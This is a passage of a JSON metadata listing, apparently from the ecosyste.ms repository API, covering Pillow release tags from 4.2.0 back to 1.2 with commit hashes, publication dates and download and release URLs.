illow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.0.0/manifests"},{"name":"2.9.0","sha":"80672b61e8596c7d6dab7b4ef3ef1e4783902f51","kind":"commit","published_at":"2015-07-01T18:33:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0/manifests"},{"name":"2.9.0.dev2","sha":"445a8c06fce647249e6a832f595fcdfff1743ad0","kind":"commit","published_at":"2015-06-30T12:04:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev2/manifests"},{"name":"2.9.0.dev1","sha":"96944e2dd664efb98e25d0e86671420af26fda40","kind":"commit","published_at":"2015-06-29T12:57:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev1/manifests"},{"name":"2.9.0.dev0","sha":"efe925c26f4fb78613b5ed98d488f71a723d03e8","kind":"commit","published_at":"2015-06-28T19:07:01.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.9.0.dev0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.9.0.dev0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.9.0.dev0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.9.0.dev0/manifests"},{"name":"2.8.2","sha":"0222a059d62723fe056daa17f007f87dc46595b4","kind":"commit","published_at":"2015-06-06T23:52:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.2/manifests"},{"name":"2.8.1","sha":"3f09b8f1715b018e8249337f1432070301c61e18","kind":"commit","published_at":"2015-04-02T14:59:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.1/manifests"},{"name":"2.8.0","sha":"d754598f146f868e8cd7d247b3af6cf3f3c8d510","kind":"commit","published_at":"2015-04-01T19:39:41.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.8.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"0f05eb287a223ce106848cd048cfcb45e9faa565","kind":"commit","published_at":"2015-01-01T04:42:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.7.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.7.0/manifests"},{"name":"2.6.2","sha":"9f0ec3b0d7637e04fa735d7dfb94464301b02c1e","kind":"commit","published_at":"2015-01-01T04:11:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.2/manifests"},{"name":"2.6.1","sha":"4a8471dea18f6196161e4444ce5625f46cecd1e1","kind":"commit","published_at":"2014-10-13T17:13:17.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.1/manifests"},{"name":"2.6.0","sha":"9634e437efeeda906ad6bfcc275b17732d64f32a","kind":"commit","published_at":"2014-10-01T16:59:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0/manifests"},{"name":"2.6.0-rc1","sha":"81ebc21abfdd9d152f05d8516b17efba26e4d5b7","kind":"commit","published_at":"2014-09-29T20:14:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.6.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.6.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.6.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.6.0-rc1/manifests"},{"name":"2.5.3","sha":"68c6904c280ad872620cc8d904e6d4e6ecc5b6f9","kind":"commit","published_at":"2014-08-14T22:38:52.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.3/manifests"},{"name":"2.3.2","sha":"30529a02793354453971e874be0e78d554d770d9","kind":"commit","published_at":"2014-08-12T18:48:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.2/manifests"},{"name":"2.5.2","sha":"4081f9f6a504c9d3b83237fafdecf2be042976a8","kind":"commit","published_at":"2014-08-12T18:44:56.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.2/manifests"},{"name":"2.5.1","sha":"1ab78b8fb7e1f7078dd110bc8d9fba3cc0006e51","kind":"commit","published_at":"2014-07-10T21:54:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.1/manifests"},{"name":"2.5.0","sha":"80d6137c860b9322572ee1390514df1975acb2e7","kind":"commit","published_at":"2014-07-01T22:39:40.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.5.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"72de37caada5d9ff7c657ce5f4ad6f8a6a3870f0","kind":"commit","published_at":"2014-04-01T22:31:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.4.0/manifests"},{"name":"2.3.1","sha":"b8d4895bd5c41fce88a8ad436672bd8033414797","kind":"commit","published_at":"2014-03-14T23:44:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.1/manifests"},{"name":"2.3.0","sha":"b1b88cf4d255c4b9faf1dae05faaa78091268cb1","kind":"commit","published_at":"2014-01-01T21:10:13.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.3.0/manifests"},{"name":"2.2.2","sha":"72e54e1c53478a173b7e51b5703348453d5a19d4","kind":"commit","published_at":"2013-12-11T23:05:54.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.2/manifests"},{"name":"2.2.1","sha":"3c2496e117f4d045a99d7e376133e67b47217ce2","kind":"commit","published_at":"2013-10-02T17:07:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"9b0bc48d26b021ba40bbf1aaf6291ef664f9d083","kind":"commit","published_at":"2013-10-02T11:18:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"75af7e00db304ed34557c856c609d10ecf44d49c","kind":"commit","published_at":"2013-07-02T12:52:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.1.0/manifests"},{"name":"2.0.0","sha":"baea361b9a29e9a1dfa5a9b8e11bc9624a9cee46","kind":"commit","published_at":"2013-03-15T12:59:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/2.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/2.0.0/manifests"},{"name":"1.7.8","sha":"4a10a363e4a220149f7efbf109ac5bf0d1d85b35","kind":"commit","published_at":"2012-11-01T21:09:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.8","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.8/manifests"},{"name":"1.7.7","sha":"aaac591549807d183ec8855e5f86bd4584411a87","kind":"commit","published_at":"2012-04-05T01:15:07.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.7","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.7/manifests"},{"name":"1.7.6","sha":"3af55ff06f74711112c0c5b05a9ef1cd3eb58b7d","kind":"tag","published_at":"2012-01-21T00:58:59.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.7.6","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.7.6/manifests"},{"name":"1.2","sha":"fb47c498ef1bed2fd5e8bf5c84427bd7ab410da5","kind":"tag","published_at":"2010-08-02T15:44:30.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/1.2/manifests"}